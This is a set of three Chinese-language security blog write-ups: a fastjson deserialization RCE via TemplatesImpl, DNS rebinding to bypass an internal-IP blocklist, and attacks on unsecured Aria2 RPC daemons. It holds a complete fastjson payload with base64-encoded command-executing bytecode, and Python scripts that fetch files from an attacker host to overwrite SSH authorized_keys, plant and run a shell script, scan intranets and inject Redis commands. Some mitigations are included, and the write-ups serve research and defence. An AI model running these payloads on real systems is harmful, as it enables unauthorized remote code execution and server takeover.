Fastjson Unserialize Vulnerability Write Up

0x00

fastjson 日前爆了一个反序列化导致 RCE 的漏洞,但是网上没有流传的 exploit。今天 @廖新喜1 发了一张截图,隐约透露出的内容是利用 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 来执行命令。我当时菊花一紧,这不就是我最开始看 ysoserial 的时候的那个执行链吗。奈何太菜,调试不出来。
不过既然 dalao 都已经调试出来了,那么肯定用这个没错了。打了一把 CS:GO(Steam:ricter_z)后操起 IDEA 开始调试。
因为对 Java 人生地不熟,更别说什么 TemplatesImpl 了。首先看一下 TemplatesImpl 的源码,没看出什么来。总之先按照截图慢慢凑一下 payload 吧。

...

于是终于凑出来了。紧接着单步调试跟了一下 fastjson 解析流程,终于搞明白原理了。

我好菜啊.jpg

0x01 fastjson 的特性

对于 byte[] 的 base64 decode

对于 byte[] 类型的成员变量,在 deserialze 的时候会调用 lexer.bytesValue

public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
    JSONLexer lexer = parser.lexer;
    if(lexer.token() == 8) {
        lexer.nextToken(16);
        return null;
    } else if(lexer.token() == 4) {
        byte[] bytes = lexer.bytesValue();
        lexer.nextToken(16);
        return bytes;

bytesValue 方法为:

public byte[] bytesValue() {
    return IOUtils.decodeBase64(this.text, this.np + 1, this.sp);
}

private 成员变量的处理

对于一个 Class:

class ModelTest {
    public String field1;
    public int field2;
    private String field3;
    private int field4;

    public String getField3() {
        return field3;
    }

    public void setField3(String s) {
        field3 = s;
    }
}

默认情况下,fastjson 会把一些符合条件的方法和字段加到字段列表里。

  • field1,public 的成员变量
  • field2,同上
  • field3,存在 getField3/setField3 方法

fastjson 判断 field3 的条件如下:

methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))

并且:

methodName.startsWith("set")

对于 field4,在设置了 SupportNonPublicField 后,也会支持解析。具体可以查看 Wiki:https://github.com/alibaba/fastjson/wiki/Feature_SupportNonPublicField_cn

对于有 getter 没有 setter 的变量,fastjson 会在 JavaBeanInfo.class 的第 459 行处理(版本不同可能有偏差):

methodName.length() >= 4 && 
!Modifier.isStatic(method.getModifiers()) &&
methodName.startsWith("get") && 
Character.isUpperCase(methodName.charAt(3)) && 
method.getParameterTypes().length == 0 &&
(
Collection.class.isAssignableFrom(method.getReturnType()) || 
Map.class.isAssignableFrom(method.getReturnType()) || 
AtomicBoolean.class == method.getReturnType() ||
AtomicInteger.class == method.getReturnType() ||
AtomicLong.class == method.getReturnType()
)

关注括号里的几个判断,需要满足 X.class.isAssignableFrom(method.getReturnType()) 才可以进入 if 语句。

关键点来了:在 TemplatesImpl.java 中,getOutputProperties 方法返回类型是 Properties,而 Properties extends Hashtable<>Hashtableimplements Map,所以可以通过这个判断。

0x02 漏洞触发原理

_outputProperties 触发 getOutputProperties 方法调用

我一直很疑惑,为什么 _outputProperties 会使得 getOutputProperties 被调用呢?于是我深入的单步了一下,发现 fastjson 有一个神奇的 smartMatch 方法:

public FieldDeserializer smartMatch(String key) {
    if(key == null) {
        return null;
    } else {
        FieldDeserializer fieldDeserializer = this.getFieldDeserializer(key);
        boolean snakeOrkebab;
        int i;
        int var6;
        if(fieldDeserializer == null) {
            snakeOrkebab = key.startsWith("is");
            FieldDeserializer[] var4 = this.sortedFieldDeserializers;
            i = var4.length;
            ...
        }
        if(fieldDeserializer == null) {
            snakeOrkebab = false;
            String key2 = null;

            for(i = 0; i < key.length(); ++i) {
                char ch = key.charAt(i);
                if(ch == 95) {
                    snakeOrkebab = true;
                    // 这里把下划线替换掉了,所以可以匹配
                    key2 = key.replaceAll("_", "");
                    break;
                }

                if(ch == 45) {
                    snakeOrkebab = true;
                    key2 = key.replaceAll("-", "");
                    break;
                }
            }

匹配完成后,返回了一个 FieldDeserializer 对象,接着下面的代码调用此处:

((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues);

parseField 调用了 setValue

public void setValue(Object object, Object value) {
    if(value != null || !this.fieldInfo.fieldClass.isPrimitive()) {
        try {
            Method method = this.fieldInfo.method;
            if(method != null) {
                if(this.fieldInfo.getOnly) {
                    if(this.fieldInfo.fieldClass == AtomicInteger.class) 
                    {
                        ..
                    } else if(Map.class.isAssignableFrom(method.getReturnType())) {
                        Map map = (Map)method.invoke(object, new Object[0]);

这里 method 就是 getOutputProperties 方法了。
通过 getOutputProperties 方法,我们可以构造一个 exploit 类来进行攻击。

调用链

TemplatesImpl.javagetOutputProperties 函数为:

public synchronized Properties getOutputProperties() {
    try {
        // 调用 newTransformer
        return newTransformer().getOutputProperties();

接着 newTransformer 函数调用了 getTransletInstance

public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;
    // 调用 getTransletInstance
    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,

getTransletInstance 调用:

private Translet getTransletInstance()
    throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        // 这里实例化了 _class[_transletIndex]
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

所以编写一个继承自 AbstractTranslet 类的类后,在构造器执行代码即可。

0x03 从 0 开始的构造 exploit

TemplatesImpl.java 构造 gadgets

TemplatesImpl.javadefineTransletClasses 中,通过 for 循环取出 _bytecodes 中的值,接着调用 loader.defineClass 来定义类。

private void defineTransletClasses()
    throws TransformerConfigurationException {
    ...
    try {
        final int classCount = _bytecodes.length;
        _class = new Class[classCount];

        if (classCount > 1) {
            _auxClasses = new HashMap<>();
        }

        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);

接着,会判断这个类的超类是不是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类,如果是,把 i 赋给 _transletIndex

if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
    _transletIndex = i;
}
else {
     _auxClasses.put(_class[i].getName(), _class[i]);
}

接着通过上述的调用链:

getOutputProperties() -> getTransletInstance() -> getTransletInstance() -> AbstractTranslet newInstance()

来实例化 exploit 类。

构造 exploit

根据以上内容,我们需要构造的 exploit 应满足如下条件:

  • 合法的 TemplatesImpl
  • 合法的 _bytecodes,可以正确解析成类
  • 类需要继承自 AbstractTranslet,构造器中存放执行命令的内容

首先利用 @type 声明一个 TemplatesImpl

{"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": [], "_name": "a"}

同时根据源代码,我们还要构造一个 _tfactory 加到上面的 JSON 里:

"_tfactory": {"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl"}

为了触发漏洞点,我们还需要设置 _outputProperties。

"_outputProperties": {"@type": "java.util.Properties"}

接着构造 _bytecodes。由于我们知道 fastjson 会帮助我们解码 base64,所以构造好直接 base64 编码然后填入 _bytecodes 即可。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Exp extends AbstractTranslet {

    public Exp() {
        try {
            Runtime.getRuntime().exec("open /Applications/Calculator.app");
        } catch (IOException e) {}
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

}

由于 defineTransletClasses 的一个 bug,我们的 _bytescode 需要两项才可以。具体 bug 点在 defineTransletClasses 函数:

        if (classCount > 1) {
            _auxClasses = new HashMap<>();
        }

        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);
            final Class superClass = _class[i].getSuperclass();

由于没有考虑 classCount == 1 的情况,导致当 classCount 为 1 时,_auxClassesnull(扶额)。
这里是我犯蠢了,其实直接构造一个正确的类即可。

最终 payload 为(注意,这里是 Java 1.8,如果是 1.6 版本的话需要在 1.6 下编译 Exp 类,再写入 _bytecodes):

{
  "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes": [
    "yv66vgAAADQALwoABwAhCgAiACMIACQKACIAJQcAJgcAJwcAKAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAbTG1haW4vamF2YS9jb20vUmljdGVyWi9FeHA7AQANU3RhY2tNYXBUYWJsZQcAJwcAJgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwApAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAIRXhwLmphdmEMAAgACQcAKgwAKwAsAQAhb3BlbiAvQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwDAAtAC4BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAZbWFpbi9qYXZhL2NvbS9SaWN0ZXJaL0V4cAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAADAAEACAAJAAEACgAAAGoAAgACAAAAEiq3AAG4AAISA7YABFenAARMsQABAAQADQAQAAUAAwALAAAAFgAFAAAADgAEABAADQATABAAEQARABQADAAAAAwAAQAAABIADQAOAAAADwAAABAAAv8AEAABBwAQAAEHABEAAAEAEgATAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAYAAwAAAAgAAMAAAABAA0ADgAAAAAAAQAUABUAAQAAAAEAFgAXAAIAGAAAAAQAAQAZAAEAEgAaAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAdAAwAAAAqAAQAAAABAA0ADgAAAAAAAQAUABUAAQAAAAEAGwAcAAIAAAABAB0AHgADABgAAAAEAAEAGQABAB8AAAACACA="
  ],
  "_name": "a",
  "_tfactory": {
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl"
  },
  "_outputProperties": {
    "@type": "java.util.Properties"
  }
}

效果:

0x04 总结

说是个 RCE,但是利用起来环境却很苛刻。如果需要利用的话,对于 JSON 的处理函数应该为:

JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField);

但是大多数人都是直接 JSON.parse 一把梭,设置 Feature.SupportNonPublicField 的人少之又少,影响面会变小很多。
其他也没有什么好说的,再次感谢 @廖新喜1,如果不是那张截图我仍然还在把 fastjson 这事儿扔在 TODO 里吧(。
另外,总感觉利用 TemplatesImpl 这个真的是很多巧合的结合才会成功。
首先是 fastjson 的限制,然而 getOutputProperties 的返回值类型是 Properties。如果没有这一点,这个调用链也连接不起来。
其次,由于 fastjson 的 smartMatch,我们才会通过 _outputProperties 去触发 getOutputProperties

构造完的我莫名其妙,但是了解原理后叹为观止。

我们所过的每个平凡的日常,也许就是连续发生的奇迹。


Use DNS Rebinding to Bypass IP Restriction

0x00 前言

在不久前的一个渗透测试中,我遇到一个客户自己实现的代理。这个代理可以用来翻墙,但是由于这个代理搭建在客户内网中,所以同样可以访问内网资源。
报告给客户后,客户予以修复。在之后的复测中,访问内网资源的时候返回 403,只能请求非黑名单 IP 段中的地址。

>>> export all_proxy=http://u:p@proxy_server:1234
>>> curl 10.0.0.1 -v
* Rebuilt URL to: 10.0.0.1/
*   Trying proxy_server...
* TCP_NODELAY set
* Connected to proxy_server (proxy_server) port 1234 (#0)
* Proxy auth using Basic with user 'u'
> GET http://10.0.0.1/ HTTP/1.1
> Host: 10.0.0.1
> Proxy-Authorization: Basic dTpw
> User-Agent: curl/7.51.0
> Accept: */*
> Proxy-Connection: Keep-Alive
>
< HTTP/1.1 403 Forbidden
< Content-Type: text/plain; charset=utf-8
< X-Content-Type-Options: nosniff
< Date: Mon, 11 Dec 2016 13:10:23 GMT
< Content-Length: 43
<
Request URL http://10.0.0.1/ is forbidden.

于是利用一般性的绕过方式,比如:

  • http://baidu.com@10.0.0.1
  • http://test.loli.club (ip: 10.0.0.1)
  • 301 / 302 Redirect
  • file:///etc/passwd
  • gopher protocol
  • ftp protocol

等一系列姿势都以失败告终。于是开始思考其验证 IP 的具体方式,尝试绕过 IP 限制请求内网。

0x01 IP 验证方式

一般来说,验证 IP 是否在范围的方式如下图所示。

获取到请求的地址后,如果为域名的话,则通过 DNS 解析的方式获取到真实的 IP 地址,如果直接是 IP 地址的话,则直接对比是否在指定的 IP 段内。

比如如上的 test.loli.club 请求获得的 IP 地址为 10.0.0.1,黑名单 IP 段为 10.0.0.0/8,则会提示拒绝访问。

一般来说这种验证没有什么问题,但是通过 DNS Rebinding 技术来进行攻击的话,就可以轻而易举地绕过这个 IP 限制。

0x02 DNS Rebinding

上图所示的验证方法是存在问题的。服务器从获得请求的 URL 开始,到利用 URL 的 Hostname 获取到 IP 地址,再从判断 IP 地址到请求 URL 之间,是有一个时间差的。利用这个时间差,我们可以做一些事情。

众所周知,DNS 返回的数据包中存在一个 TTL(Time-To-Live),也就是域名解析记录在 DNS 服务器上的缓存时间。如果两次 DNS 请求的时间大于 TTL 的大小的话,那么就会重新进行一次 DNS 解析请求。

如果我们在第一次请求 DNS 解析时返回一个不在黑名单里面的 IP 地址,然后在第二次服务端请求 URL 的时候,让服务器再请求一次 DNS 解析,这次解析到黑名单内的地址,且没有任何验证,利用个短暂的时间差来绕过验证。

我们把 DNS 服务器的 TTL 设置为 0,这样就可以有足够的时间来让服务器再次请求 DNS 服务器而导致绕过 IP 黑名单限制。

0x03 攻击配置

要进行攻击首先需要一个域名,然后配置一个 NS 记录,指向攻击者配置的 DNS 服务器。

在 DNS 服务器上搭建一个 DNS 服务,核心代码如下:

测试请求 1.asf.loli.club:

两次 DNS 请求的结果不同。测试在实际环境中可以绕过 IP 验证。由于保密原因就不再提供真实环境的测试图片,但是实际上已经成功请求其内网的 gitlab、kms 等关键服务了。

0x04 攻击面

  • CSRF/XSS 窃取用户数据
  • 绕过 SSRF IP 限制
  • 绕过代理 IP 限制

0x05 缓解措施

利用第一次请求解析的 IP 来进行后续的 HTTP/HTTPS 请求即可。

def dns_resolve(hostname):
    ...

def check_ip(ip):
    ...

url = input()
ip = dns_resolve(urlparse(url.hostname))
if not check_ip(ip):
    return '403 Forbidden', 403
data = requests.get(ip, headers={'Host': url.hostname})
return data.content, data.status_code

Hacking Aria2 RPC Daemon

ABSTRACT

在未设置任何安全措施的情况下,Aria2 RPC Server 可以接受任何未知来源的请求指令,并予以下载。即使存在诸如--rpc-secret--rpc-user--rpc-passwd之类的安全措施,也可以通过社会工程学手段进行攻击。通过 Aria2 RPC Server,可以进行 SSRF、Arbitrary File Write 等 Web 攻击手法,获取服务器权限。

1. INTERDUCTION

Aria2 是一个命令行下运行、多协议、多来源下载工具(HTTP/HTTPS、FTP、BitTorrent、Metalink),内建 XML-RPC 用户界面。[1] Aria 提供 RPC Server,通过--enable-rpc参数启动。Aria2 的 RPC Server 可以方便的添加、删除下载项目。

2. ATTACK TECHNIQUES

2.1 Arbitary File Write

通过控制文件下载链接、文件储存路径以及文件名,可以实现任意文件写入。同时通过 Aria2 提供的其他功能,诸如 save-session 等也能轻易地实现向任意文件写入指定功能。

2.1.1 Bypass --auto-file-renaming and --allow-overwrite

根据 Aria2 RPC Server 的文档 changeGlobalOption 方法支持修改部分全局设置参数。[2] 通过修改 allow-overwrite 参数即可实现绕过自动重命名,且可以直接覆盖指定文件。
即使不修改 allow-overwrite,也可以通过其他方式,比如指定 session 文件路径来覆盖目标文件。

2.1.2 Overwrite .ssh/authorized_keys By Download File

在类 Unix 系统上,持有储存在某用户目录下的 .ssh/authorized_keys 文件中的公钥所对应的私钥的用户可以通过 ssh 直接远程无密码登陆此系统。[3] 如果攻击者可以通过 Aria2 覆盖 .ssh/authorized_keys 文件的话,那么攻击者可以轻易地取得目标系统的权限。

s = PatchedServerProxy("http://victim:6800/rpc")
pprint(s.aria2.addUri(['http://attacker/pubkey.txt'], {'out': 'authorized_keys', 'dir': '/home/bangumi/.ssh/'}))

通过覆盖 .ssh/authorized_keys,成功登陆到目标服务器。

2.1.3 Overwrite .ssh/authorized_keys By save-session

老版本 Aria2
Aria2 RPC Server 提供 save-session 选项,可以指定在 aria2c 关闭时保存当前下载文件的状态;同时 Aria2 RPC Server 提供 user-agent 选项,可以指定下载文件的 UA。[2]
Aria2 session 格式为:

http://download-server/1.txt
 gid=79e8977d817e750e
 dir=/home/bangumi/.aria2/
 out=1.txt
 allow-overwrite=true
 user-agent=aria2/1.21.1

Aria2 未处理 \n 换行符,可以精心构造 user-agent 来伪造 session 文件,不过这偏离讨论范围。由于 .ssh/authorized_keys 存在容错性,所以可以设置 session 路径为 .ssh/authorized_keys,注入攻击者的 public key 来进行攻击。

pk = "ssh-rsa .... root@localhost"
s = PatchedServerProxy("http://victim/rpc")
pprint(s.aria2.changeGlobalOption({"allow-overwrite": "true", "user-agent": "\n\n" + pk + "\n\n", "save-session": "/home/bangumi/.ssh/authorized_keys"}))
pprint(s.aria2.getGlobalOption())
pprint(s.aria2.addUri(['http://download-server/1.txt'], {}))
pprint(s.aria2.shutdown())

攻击完成后 aria2 关闭,session 文件储存在指定目录。

新版本 Aria2
新版本的 Aria2 提供了 aria2.saveSession 方法,可以在避免关闭 aria2 的情况下储存 session。

pk = "ssh-rsa .... root@localhost"
s = PatchedServerProxy("http://victim/rpc")
pprint(s.aria2.changeGlobalOption({"user-agent": "\n\n" + pk + "\n\n", "save-session": "/home/bangumi/.ssh/authorized_keys"}))
pprint(s.aria2.getGlobalOption())
pprint(s.aria2.addUri(['http://download-server/1.txt'], {}))
pprint(s.aria2.saveSession())
2.1.3 Overwrite Aria2 Configuire File

Aria2 提供 --on-download-complete 选项,可以指定下载完成时需要运行的程序。[2] 调用程序的参数为:

hook.sh $1      $2      $3
hook.sh GID     文件编号 文件路径

其中 GID 为 Aria2 自动生成的编号,文件编号通常为 1。--on-download-complete 选项传入的 COMMAND 需要为带有可执行权限的命令路径。
为了执行命令,我们需要寻找一个可以执行第三个参数路径所指向的文件的 COMMAND,不过不幸的是,Linux 下并没有找到类似的 COMMAND。由于前两个参数不可控,且未知,但是 GID 在 Aria2 添加任务的时候就已经返回,所以我们用一个比较取巧的方法执行命令。
首先下载恶意的 aria2 配置文件,并覆盖原本的配置文件,等待 aria2 重新加载配置文件。然后下载一个大文件,得到 GID 后立即暂停,接着下载一个小文件,使得小文件保存的文件名为大文件的 GID,最后再开启大文件的下载,即可执行任意命令。

s = PatchedServerProxy("http://victim/rpc")
pprint(s.aria2.changeGlobalOption({"allow-overwrite": "true"}))
pprint(s.aria2.getGlobalOption())
# pprint(s.aria2.addUri(['http://attacker/1.txt'], {'dir': '/tmp', 'out': 'authorized_keys'}))
pprint(s.aria2.addUri(['http://attacker/1.txt'], {'dir': '/home/bangumi/.aria2/', 'out': 'aria2.conf'}))
raw_input('waiting for restart ...')
r = str(s.aria2.addUri(['http://attacker/bigfile'], {'out': '1'}))
s.aria2.pause(r)
pprint(s.aria2.addUri(['http://attacker/1.sh'], {'out': r}))
s.aria2.unpause(r)

下载完成后,Aria2 将会执行如下命令:

/bin/bash GID 1 /path/to/file

由于 GID 我们已知,且存在名为 GID 的文件,调用时路径基于当前目录,所以可以成功执行。

2.2 SSRF

Scan Intranet HTTP Service
利用 Aria2 下载文件的特性,且对于下载的地址未限制,所以可以通过 Aria2 对于内网资源进行请求访问。

def gen():
    return ['http://172.16.98.%d/' % (i,) for i in range(0, 255)]


def main():
    s = ServerProxy("http://victim/rpc")
    t = [s.aria2.addUri([i], {'dir': '/tmp'}) for i in gen()]
    pprint(s.aria2.changeGlobalOption({'max-concurrent-downloads': '50', 'connect-timeout': '3', 'timeout': '3'}))
    pprint(s.aria2.getGlobalOption())
    while 1:
        for f in t:
            pprint(s.aria2.getFiles(f))

利用如上代码可对于内网资源进行扫描。

Attack Redis Server
Aria2 的 user-agent 未过滤 \n,可以通过换行来攻击内网 Redis Server。[4]

payload = '''
CCONFIG SET DIR /root/.ssh
CCONFIG SET DBFILENAME authorized_keys
SSET 1 "\\n\\n\\nssh-rsa .... root@localhost\\n\\n"
SSAVE
QQUIT
'''
s = ServerProxy("http://victom/rpc")
s.aria2.changeGlobalOption({'user-agent': payload})
pprint(s.aria2.addUri(['http://127.0.0.1:6379/'], {'dir': '/tmp'}))

攻击成功后,/root/.ssh/authorized_keys 被覆盖,可通过 ssh 无密码登陆。

3. MITIGATION TECHNIQUES

3.1 CLI OPTIONS

  • --rpc-listen-all:最好关闭此项功能
  • --allow-overwrite:应当关闭此项功能
  • --auto-file-renaming:应当开启此项功能
  • --rpc-secret:应当开启此项功能

3.2 PERMISSIONS

  • 通过 nobody 用户运行 aria2c

REFERENCES

  1. Aria2 - Ubuntu中文. http://wiki.ubuntu.org.cn/Aria2
  2. aria2c(1) - aria2 1.29.0 documentation. https://aria2.github.io/manual/en/html/aria2c.html
  3. Secure Shell - Wikipedia. https://en.wikipedia.org/wiki/Secure_Shell
  4. 利用 gopher 协议拓展攻击面. https://ricterz.me/posts/利用%20gopher%20协议拓展攻击面